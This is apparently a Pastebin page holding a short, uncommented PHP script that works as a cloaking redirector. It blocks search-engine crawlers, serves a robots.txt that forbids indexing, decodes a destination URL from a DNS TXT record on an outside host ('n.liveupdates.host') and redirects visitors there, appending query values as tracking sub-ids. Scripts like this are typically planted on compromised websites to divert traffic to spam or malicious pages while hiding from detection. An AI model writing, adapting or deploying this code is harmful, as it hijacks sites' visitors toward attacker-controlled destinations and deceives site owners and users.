Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- $domain = 'n.liveupdates.host';
- $browser = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
- if (preg_match('/googlebot|slurp|bingbot|Baiduspider|AhrefsBot|Ezooms|MJ12bot|YandexBot|MSNBot|ia_archiver|lycos/i', $browser))
- {
- die();
- }
- if (strpos(strtolower($_SERVER['REQUEST_URI']), 'robots.txt') > 0)
- {
- die("User-agent: *\r\nDisallow: /\r\n");
- }
- for ($i = 0; $i < 4; $i++)
- {
- $s = dns_get_record($domain, DNS_TXT);
- $location = '';
- if (is_array($s) && (count($s) > 0) && isset($s[0]['txt']) && strlen($s[0]['txt']))
- {
- $s = base64_decode($s[0]['txt']);
- if ((strpos($s, 'http')) !== FALSE)
- {
- $location = $s;
- }
- }
- if (strlen($location))
- break;
- }
- if (!strlen($location))
- die();
- if (isset($_GET['m']) && strlen($_GET['m']) > 5)
- {
- $m = 'm='.$_GET['m'].'&sub_id_1='.$_GET['m'];
- } else
- {
- $m = '';
- }
- if (!strlen($m))
- {
- if (strlen(strval(key($_GET))))
- $m = 'sub_id_1='.strval(key($_GET));
- }
- if (!strlen($m))
- {
- header('Location: '.$location, TRUE, 302);
- } else
- {
- if (strpos($location, '?') === false)
- header('Location: '.$location.'?'.$m, TRUE, 302);
- else
- header('Location: '.$location.'&'.$m, TRUE, 302);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement